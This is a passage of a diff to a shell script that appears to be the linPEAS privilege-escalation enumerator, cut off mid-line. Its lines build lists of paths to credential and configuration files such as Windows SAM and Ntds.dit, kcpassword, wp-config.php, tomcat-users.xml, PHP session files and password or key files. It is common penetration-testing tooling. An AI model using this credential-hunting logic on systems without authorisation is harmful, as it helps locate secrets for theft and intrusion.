"^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "seeddms.*$" | sort | uniq | head -n 70) - PSTORAGE_DDCLIENT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70) - PSTORAGE_KCPASSWORD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "kcpassword$" | sort | uniq | head -n 70) - PSTORAGE_SENTRY=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70) - PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "environments$" | sort | uniq | head -n 70) - PSTORAGE_CACTI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "cacti$" | sort | uniq | head -n 70) - PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "roundcube$" | sort | uniq | head -n 70) - PSTORAGE_PASSBOLT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "passbolt\.php$" | sort | uniq | head -n 70) - PSTORAGE_JETTY=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "jetty-realm\.properties$" | sort | uniq | head -n 70) - PSTORAGE_WGET=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.wgetrc$" | sort | uniq | head -n 70) - PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70) - PSTORAGE_OTHER_INTERESTING_FILES=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70) - PSTORAGE_WINDOWS_FILES=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70) - PSTORAGE_DATABASE=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70) - PSTORAGE_BACKUPS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "backup$|backups$" | sort | uniq | head -n 70) - PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70) + PSTORAGE_SYSTEMD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/snap|^/lib32|^/.cache|^/cdrom|^/lib64|^/srv|^/systemd|^/etc|^/usr|^/system|^/tmp|^/media|^/private|^/concourse-auth|^/run|^/applications|^/bin|^/lib|^/opt|^/concourse-keys|^/sbin|^$GREPHOMESEARCH|^/mnt|^/sys" | grep -E ".*\.service$" | sort | uniq | head -n 70) + PSTORAGE_TIMER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/snap|^/lib32|^/.cache|^/cdrom|^/lib64|^/srv|^/systemd|^/etc|^/usr|^/system|^/tmp|^/media|^/private|^/concourse-auth|^/run|^/applications|^/bin|^/lib|^/opt|^/concourse-keys|^/sbin|^$GREPHOMESEARCH|^/mnt|^/sys" | grep -E ".*\.timer$" | sort | uniq | head -n 70) + PSTORAGE_SOCKET=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/snap|^/lib32|^/.cache|^/cdrom|^/lib64|^/srv|^/systemd|^/etc|^/usr|^/system|^/tmp|^/media|^/private|^/concourse-auth|^/run|^/applications|^/bin|^/lib|^/opt|^/concourse-keys|^/sbin|^$GREPHOMESEARCH|^/mnt|^/sys" | grep -E ".*\.socket$" | sort | uniq | head -n 70) + PSTORAGE_DBUS=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70) + PSTORAGE_MYSQL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "mysql$|passwd\.ibd$|password.*\.ibd$|pwd\.ibd$" | sort | uniq | head -n 70) + PSTORAGE_MARIADB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70) + PSTORAGE_POSTGRESQL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70) + PSTORAGE_APACHE_NGINX=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "sites-enabled$|000-default\.conf$|php\.ini$|nginx\.conf$|nginx$" | sort | uniq | head -n 70) + PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/var|^/private|^/mnt|^/tmp" | grep -E "sess_.*$" | sort | uniq | head -n 70) + PSTORAGE_PHP_FILES=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70) + PSTORAGE_WORDPRESS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "wp-config\.php$" | sort | uniq | head -n 70) + PSTORAGE_DRUPAL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/default/settings.php' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "settings\.php$" | sort | uniq | head -n 70) + PSTORAGE_MOODLE=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E 'moodle/config.php' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "config\.php$" | sort | uniq | head -n 70) + PSTORAGE_TOMCAT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70) + PSTORAGE_MONGO=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70) + PSTORAGE_ROCKETCHAT=$(echo -e 